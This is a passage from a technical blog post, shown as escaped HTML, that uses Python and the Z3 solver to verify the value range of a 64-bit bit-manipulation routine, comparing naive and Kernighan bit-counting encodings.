&lt;p&gt;The maximum has two parts.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the high part which are the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits pushed to the left&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;highpart&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;and the lower part which it is the rank bit and all the bits on its right being &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lowerpart&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Trivially, the maximum is:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;maximum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;highpart&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lowerpart&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, let’s try to find a counterexample: a number &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that does &lt;strong&gt;not&lt;/strong&gt; satisfy the minimum/maximum range for &lt;em&gt;some valid&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are &lt;strong&gt;signed&lt;/strong&gt; integers and they use &lt;strong&gt;signed&lt;/strong&gt; comparisons. In our definition of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;maximum&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we though them as &lt;strong&gt;unsigned&lt;/strong&gt; so we need to use Z3’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ULT&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; functions (unsigned less than).&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;not_in_range&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ULT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;ULT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;maximum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;not_in_range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# byexample: +timeout=120 +skip&lt;/span&gt;
&lt;span class="n"&gt;unsat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The extra assumption &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is because while 64 is a valid position, it is &lt;em&gt;also&lt;/em&gt; used as an error.&lt;/p&gt;
&lt;p&gt;A trivial error settings that &lt;em&gt;violates&lt;/em&gt; the minimum/maximum range could be:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;not_in_range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="verification---when-s-64-first-try"&gt;Verification - when &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (first try)&lt;/h3&gt;
&lt;p&gt;Because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; means that the rank bit is the LSB, we know that we must have &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits in the rest of the bit vector.&lt;/p&gt;
&lt;p&gt;In particular we must have exactly &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; – no more, no less.&lt;/p&gt;
&lt;p&gt;So we have two scenarios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;when we have &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with its LSB set to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; with exactly &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits in total&lt;/li&gt;
&lt;li&gt;when &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has less than &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits and therefore it is an expected error case&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the bit-count we can use a &lt;a href="https://graphics.stanford.edu/~seander/bithacks.html#CountBitsSetNaive"&gt;naive bithack&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bit_count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;# we can override v here &amp;#39;cause it won&amp;#39;t affect the outer v&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;good_cases&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bit_count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bad_cases&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bit_count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally we check the negation of it. Sadly the check takes &lt;strong&gt;too much time&lt;/strong&gt; and I don’t know the result&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Not&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;good_cases&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Not&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bad_cases&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;     &lt;span class="c1"&gt;# byexample: +skip&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;i don&amp;#39;t know bro&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="verification---when-s-64-second-try"&gt;Verification - when &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (second try)&lt;/h3&gt;
&lt;p&gt;The naive approach iterates 64 times, perhaps we could use the &lt;a href="https://graphics.stanford.edu/~seander/bithacks.html#CountBitsSetKernighan"&gt;Kernighan’s way&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In C, it goes through as many iterations as &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits are in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// count the number of bits set in v&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// c accumulates the total bits set in v&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// clear the least significant bit set&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However in Z3 we must go through all the 64 iterations because in the Kernighan’s code, the loops ends when the variable &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is zero.&lt;/p&gt;
&lt;p&gt;In C, you are &lt;em&gt;evaluating&lt;/em&gt; the code in each instruction; in Z3 you are &lt;em&gt;defining&lt;/em&gt; code but &lt;strong&gt;no evaluation is taking place&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This makes an iteration dependent of the previous one: when &lt;em&gt;checking&lt;/em&gt; (evaluation) the model yields &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for some iteration, &lt;em&gt;then&lt;/em&gt; the rest of the iteration should be no-ops.&lt;/p&gt;
&lt;p&gt;So we &lt;em&gt;must&lt;/em&gt; express this in Z3, we must stablish the relation between one iteration and the next one for all the 64 iterations:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BitVecVal&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bit_count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVecVal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="c1"&gt;# Create a &amp;quot;new generation&amp;quot; expression for &amp;#39;c&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="c1"&gt;# based if v != 0 or not&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="c1"&gt;# Only the last instruction can &amp;quot;update&amp;quot; &amp;#39;v&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the code above I introduced an auxiliary &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; variable. This is because the C variable &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will be interpreted by Z3’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;If&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as a boolean (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;false&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) that cannot be promoted later to a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BitVec&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To enforce the correct type, we use a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BitVecVal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; value initialized to 0.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;good_cases&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bit_count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bad_cases&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bit_count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Not&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;good_cases&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Not&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bad_cases&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;     &lt;span class="c1"&gt;# byexample: +skip&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;i don&amp;#39;t know bro&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately, it didn’t work either.&lt;/p&gt;
&lt;h3 id="verification---when-s-64-third-try---the-good-one"&gt;Verification - when &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (third try - the good one)&lt;/h3&gt;
&lt;p&gt;In both cases, the naive and the Kernighan’s way of counting bits created 64 restrictions.&lt;/p&gt;
